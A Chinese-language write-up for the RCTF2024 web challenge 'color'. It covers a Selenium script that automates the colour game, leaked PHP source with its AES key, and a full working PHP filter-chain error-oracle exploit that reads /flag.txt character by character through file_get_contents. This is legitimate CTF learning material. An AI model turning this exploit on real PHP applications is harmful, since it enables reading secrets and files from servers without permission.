RCTF2024-web-color-wp-By.Starven

发布于 2024-05-28  42 次阅读


题目信息

image.png
image.png

考点

  • js逆向与反混淆小游戏(应该是非预期,小组jerry师傅采用的这种思路,我用python写脚本自动化完成游戏优化很久打不到500分,赛后再看看)
  • php filter攻击链打侧信道

分析

开题如下

image.png

要求60s内玩消除色差的小游戏达到500分

玩了一下人工可以差不多打到十七分

手搓了一下脚本,差不多可以打到77分左右

利用题目的pause优化了一下之后有个两百分左右,跑得很慢这是一个猜测的值,接下来的想法就是对搜索算法进行一个优化,但是还没实现

image.png

这是最初的手搓的自动化脚本能跑77分左右的

需要安装selenium库,并且chrome浏览器和chromedriver版本要匹配

参考文章https://developer.aliyun.com/article/984716

学习了一下,我手搓重写了判断逻辑

from selenium import webdriver
import time

driver = webdriver.Chrome("F:\\environment\\chromedriver-win64\\chromedriver.exe")
driver.get('http://124.71.164.28:10088/')
time.sleep(2)
driver.find_element_by_class_name('play-btn').click() 
while True:
    all = driver.find_elements_by_xpath('//*[@id="box"]/*') 
    for i in range(len(all)):
        if i==0:
            if all[i].get_attribute('style')!=all[i+1].get_attribute('style') and all[i+1].get_attribute('style') == all[i+2].get_attribute('style'):
                all[i].click()
                #print('点了呗'+str(i))
                time.sleep(0.5)
                break
            elif all[i].get_attribute('style')!=all[i+1].get_attribute('style') and all[i].get_attribute('style') == all[i+2].get_attribute('style'):
                all[i+1].click()
                #print('点了呗'+str(i))
                time.sleep(0.5)
                break
            else:
                continue
        elif i==len(all)-1:
            if all[i].get_attribute('style')!=all[i-1].get_attribute('style') and all[i-1].get_attribute('style') == all[i-2].get_attribute('style'):
                all[i].click()
                #print('点了呗'+str(i))
                time.sleep(0.5)
                break
            elif all[i].get_attribute('style')!=all[i-1].get_attribute('style') and all[i].get_attribute('style') == all[i-2].get_attribute('style'):
                all[i-1].click()
                #print('点了呗'+str(i))
                time.sleep(0.5)
                break
            else:
                continue
        else:
            if all[i].get_attribute('style')!=all[i-1].get_attribute('style') and all[i].get_attribute('style') == all[i+1].get_attribute('style'):
                all[i-1].click()
                #print('点了呗'+str(i))
                time.sleep(0.5)
                break
            else:
                continue

这里附上小组Jerry师傅的思路,js逆向与反混淆(tql,web手会逆向的感觉是什么?

然后得到一个路由/secr3tcolor.zip

下载得到

image.png

dockerfile得知flag在/flag.txt

/final/game.php

<?php
$key = "88b4dbc541cd57f2d55398e9be3e61ae";
$iv = "41cd57f2d55398e9";
session_start();


if(!isset($_SESSION["level"])){
    $_SESSION["level"] = 0;
}

function decoder($input)
{
    global $key,$iv;
    return decrypt($input, $key, $iv);
}
function encoder($input){
    global $key,$iv;
    return encrypt($input, $key, $iv);
}


if(isset($_POST['action'])){
    $action = decoder($_POST['action']);
    if($action==="genpos"&&isset($_POST['rangeNum'])){
        $rangeNum = decoder($_POST['rangeNum']);
        $randomPos = mt_rand(0,$rangeNum-1);
        $_SESSION['pos'] = $randomPos;
        $data = array(
            "code" => 200,
            "data" => encoder($randomPos),
        );
        header('Content-Type: application/json');
        echo json_encode($data);
        return;
    }else if($action==="choose"){
        $pos = decoder($_POST['pos']);
        if($pos == $_SESSION['pos']){
            $data = array(
            "code" => 200,
            "data" => encoder("success"),
        );
            $_SESSION["level"]+=1;
            $_SESSION['pos'] = -1;
            header('Content-Type: application/json');
            echo json_encode($data);
            return;
        }else{
            $data = array(
            "code" => 500,
            "data" => encoder("failed"),
        );
            header('Content-Type: application/json');
            echo json_encode($data);
        }

    }else if($action === "gameover"){
        $data = array(
            "code" => 200,
            "data" => encoder($_SESSION['level']),

        );
        if($_SESSION['level']>=500){
            $_SESSION['isWinner']=true;
            $data = array(
            "code" => 200,
            "data" => encoder($_SESSION['level']),
            "secret"=> encoder("congratulations! This is a reward for you: /secr3tcolor.zip")
        );
        }

        $_SESSION['level']=0;
        header('Content-Type: application/json');
            echo json_encode($data);
            return;
    }else if($action === "checkImage"){
        try {
            $upload_image = file_get_contents($_FILES["image"]["tmp_name"]);
            echo getimagesize($upload_image);
        }catch (Exception $e){
            echo "something wrong";
        }

    }
    else{
        echo "";
        return;
    }
}


function decrypt($ciphertext, $key, $iv) {
    $ciphertext = base64_decode($ciphertext);
    $decrypted = openssl_decrypt($ciphertext, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
    return $decrypted;
}

function encrypt($plaintext, $key, $iv) {
    $encrypted = openssl_encrypt($plaintext, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
    return base64_encode($encrypted);
}

简单审计一下很容易得知漏洞点在

else if($action === "checkImage"){
        try {
            $upload_image = file_get_contents($_FILES["image"]["tmp_name"]);
            echo getimagesize($upload_image);
        }catch (Exception $e){
            echo "something wrong";
        }

看到file_get_contents,采用filter攻击链打侧信道实现文件读取

$_FILES["image"]["tmp_name"]需要我们上传文件名为image的文件

同时审计代码得知action值的加密逻辑

把加密逻辑扒下来:得到checkImage的密文

<?php
$key = "88b4dbc541cd57f2d55398e9be3e61ae";
$iv = "41cd57f2d55398e9";

function encrypt($plaintext, $key, $iv) {
    $encrypted = openssl_encrypt($plaintext, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
    return base64_encode($encrypted);
}

function encoder($input){
    global $key,$iv;
    return encrypt($input, $key, $iv);
}

echo encoder('checkImage');

得到xEt6B2i+YJdcrJ/RG3Ie4Q==

接下来上传文件,从exp作者那里去扒下来源码

参考文章 https://xz.aliyun.com/t/12939?time__1311=mqmhqIx%2BxfOD7DloaGkWDkfXxkwozeD&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-16 项目地址 https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py

我们先看exp的这段comment以及req函数

image.png
image.png

简单解释一下:filter攻击链本身就是利用内存溢出以及伪协议的各种转换其实现攻击的

而req函数的下面这句话就是判断:如果内存溢出报错500则为True

    return requests.post('http://localhost:5000/index.php', data=data).status_code == 500

因此我们的逻辑可以想到报错页面存在error关键词,所以我们修改如下

def req(s):
    url = 'http://124.71.164.28:10088/final/game.php'
    data = {"action": "xEt6B2i+YJdcrJ/RG3Ie4Q=="}
    files = {'image': f"php://filter/{s}/resource=/flag.txt"}
    res = requests.post(url = url,data=data,files=files)
    return 'error' in res.text

最终exp贴最后

修改脚本结合题目跑exp得到

image.png
GyQpQ1VrTlVSbnREYjJ4dmNsOURiMnd3Y2w5RE1HeHZjbjBL
$)CUkNURntDb2xvcl9Db2wwcl9DMGxvcn0K
去除不可见字符(前四个,熟悉的编码
UkNURntDb2xvcl9Db2wwcl9DMGxvcn0K
得到
RCTF{Color_Col0r_C0lor}

flag

RCTF{Color_Col0r_C0lor}

exp

import requests
import sys
from base64 import b64decode

"""
THE GRAND IDEA:
We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE
filter will blow up the string length by 4x every time it is used, which will quickly cause
500 error if and only if the string is non empty. So we now have an oracle that tells us if
the string is empty.

THE GRAND IDEA 2:
The dechunk filter is interesting.
https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
It looks like it was implemented for something http related, but for our purposes, the interesting
behavior is that if the string contains no newlines, it will wipe the entire string if and only if
the string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with our
above oracle! In fact we can verify that since the flag starts with D that the filter chain

dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE

does not cause a 500 error.

THE REST:
So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descent
into madness trying to figure out ways to:
- somehow get other characters not at the start of the flag file to the front
- detect more precisely which character is at the front
"""

def join(*x):
    return '|'.join(x)

def err(s):
    print(s)
    raise ValueError

def req(s):
    url = 'http://124.71.164.28:10088/final/game.php'
    data = {"action": "xEt6B2i+YJdcrJ/RG3Ie4Q=="}
    files = {'image': f"php://filter/{s}/resource=/flag.txt"}
    res = requests.post(url = url,data=data,files=files)
    return 'error' in res.text

"""
Step 1:
The second step of our exploit only works under two conditions:
- String only contains a-zA-Z0-9
- String ends with two equals signs

base64-encoding the flag file twice takes care of the first condition.

We don't know the length of the flag file, so we can't be sure that it will end with two equals
signs.

Repeated application of the convert.quoted-printable-encode will only consume additional
memory if the base64 ends with equals signs, so that's what we are going to use as an oracle here.
If the double-base64 does not end with two equals signs, we will add junk data to the start of the
flag with convert.iconv..CSISO2022KR until it does.
"""

blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
blow_up_inf = join(*[blow_up_utf32]*50)

header = 'convert.base64-encode|convert.base64-encode'

# Start get baseline blowup
print('Calculating blowup')
baseline_blowup = 0
for n in range(100):
    payload = join(*[blow_up_utf32]*n)
    if req(f'{header}|{payload}'):
        baseline_blowup = n
        break
else:
    err('something wrong')

print(f'baseline blowup is {baseline_blowup}')

trailer = join(*[blow_up_utf32]*(baseline_blowup-1))

assert req(f'{header}|{trailer}') == False

print('detecting equals')
j = [
    req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
    req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'),
    req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')
]
print(j)
if sum(j) != 2:
    err('something wrong')
if j[0] == False:
    header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
elif j[1] == False:
    header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
elif j[2] == False:
    header = f'convert.base64-encode|convert.base64-encode'
else:
    err('something wrong')
print(f'j: {j}')
print(f'header: {header}')

"""
Step two:
Now we have something of the form
[a-zA-Z0-9 things]==

Here the pain begins. For a long time I was trying to find something that would allow me to strip
successive characters from the start of the string to access every character. Maybe something like
that exists but I couldn't find it. However, if you play around with filter combinations you notice
there are filters that *swap* characters:

convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:
abcdefgh -> badcfehg

convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:
abcdefgh -> dcbahgfe

This allows us to access the first four characters of the string. Can we do better? It turns out
YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the start of
the string:

abcdefgh -> <0xff><0xfe>abcdefgh

The idea being that if we now use the r4 gadget, we get something like:
ba<0xfe><0xff>fedc

And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid
<0xfe><0xff> to get:
bafedc

And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6th
characters of the string. There's only one problem: our r4 gadget requires that the string length
is a multiple of 4. The original base64 string will be a multiple of four by definition, so when
we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is no
good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because it
turns out, if we apply the filter
convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7

It will turn the == into:
+---AD0-3D3D+---AD0-3D3D

And this is magic, because this corrects such that when we apply the
convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!

Let's recap. We have a string like:
abcdefghij==

Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7:
abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply convert.iconv.CSUNICODE.CSUNICODE:
<0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply r4 gadget:
ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3

Apply base64-decode | base64-encode, so the '-' and high bytes will disappear:
bafedcjihg+0DAD3D3+0DAD3Dw==

Then apply r4 once more:
efabijcd0+gh3DAD0+3D3DAD==wD

And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, but
the string still has two equals signs in it, so we can reapply the technique as many times as we
want, to access all the characters in the string ;)
"""

flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
r2 = "convert.iconv.CSUNICODE.UCS-2BE"
r4 = "convert.iconv.UCS-4LE.10646-1:1993"

def get_nth(n):
    global flip, r2, r4
    o = []
    chunk = n // 2
    if chunk % 2 == 1: o.append(r4)
    o.extend([flip, r4] * (chunk // 2))
    if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
    return join(*o)

"""
Step 3:
This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first
char is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from those
chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but
I just bruteforced every combination of iconv filters to find these.

Numbers are a bit trickier because iconv doesn't tend to touch them.
In the CTF you coud porbably just guess from there once you have the letters. But if you actually 
want a full leak you can base64 encode a third time and use the first two letters of the resulting
string to figure out which number it is.
"""

rot1 = 'convert.iconv.437.CP930'
be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
o = ''

def find_letter(prefix):
    if not req(f'{prefix}|dechunk|{blow_up_inf}'):
        # a-f A-F 0-9
        if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
            # a-e
            for n in range(5):
                if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                    return 'edcba'[n]
                    break
            else:
                err('something wrong')
        elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
            # A-E
            for n in range(5):
                if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                    return 'EDCBA'[n]
                    break
            else:
                err('something wrong')
        elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
            return '*'
        elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
            # f
            return 'f'
        elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
            # F
            return 'F'
        else:
            err('something wrong')
    elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
        # n-s N-S
        if not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
            # n-r
            for n in range(5):
                if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                    return 'rqpon'[n]
                    break
            else:
                err('something wrong')
        elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
            # N-R
            for n in range(5):
                if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                    return 'RQPON'[n]
                    break
            else:
                err('something wrong')
        elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
            # s
            return 's'
        elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
            # S
            return 'S'
        else:
            err('something wrong')
    elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
        # i j k
        if req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
            return 'k'
        elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
            return 'j'
        elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
            return 'i'
        else:
            err('something wrong')
    elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
        # I J K
        if req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
            return 'K'
        elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
            return 'J'
        elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
            return 'I'
        else:
            err('something wrong')
    elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
        # v w x
        if req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
            return 'x'
        elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
            return 'w'
        elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
            return 'v'
        else:
            err('something wrong')
    elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
        # V W X
        if req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
            return 'X'
        elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
            return 'W'
        elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
            return 'V'
        else:
            err('something wrong')
    elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
        # Z
        return 'Z'
    elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
        # z
        return 'z'
    elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
        # M
        return 'M'
    elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
        # m
        return 'm'
    elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
        # y
        return 'y'
    elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
        # Y
        return 'Y'
    elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
        # l
        return 'l'
    elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
        # L
        return 'L'
    elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
        # h
        return 'h'
    elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
        # H
        return 'H'
    elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
        # u
        return 'u'
    elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
        # U
        return 'U'
    elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
        # g
        return 'g'
    elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
        # G
        return 'G'
    elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
        # t
        return 't'
    elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
        # T
        return 'T'
    else:
        err('something wrong')

print()
for i in range(100):
    prefix = f'{header}|{get_nth(i)}'
    letter = find_letter(prefix)
    # it's a number! check base64
    if letter == '*':
        prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
        s = find_letter(prefix)
        if s == 'M':
            # 0 - 3
            prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
            ss = find_letter(prefix)
            if ss in 'CDEFGH':
                letter = '0'
            elif ss in 'STUVWX':
                letter = '1'
            elif ss in 'ijklmn':
                letter = '2'
            elif ss in 'yz*':
                letter = '3'
            else:
                err(f'bad num ({ss})')
        elif s == 'N':
            # 4 - 7
            prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
            ss = find_letter(prefix)
            if ss in 'CDEFGH':
                letter = '4'
            elif ss in 'STUVWX':
                letter = '5'
            elif ss in 'ijklmn':
                letter = '6'
            elif ss in 'yz*':
                letter = '7'
            else:
                err(f'bad num ({ss})')
        elif s == 'O':
            # 8 - 9
            prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
            ss = find_letter(prefix)
            if ss in 'CDEFGH':
                letter = '8'
            elif ss in 'STUVWX':
                letter = '9'
            else:
                err(f'bad num ({ss})')
        else:
            err('wtf')

    print(end=letter)
    o += letter
    sys.stdout.flush()

"""
We are done!! :)
"""

print()
d = b64decode(o.encode() + b'=' * 4)
# remove KR padding
d = d.replace(b'$)C',b'')
print(b64decode(d))

大一在读菜鸡ctfer的成长记录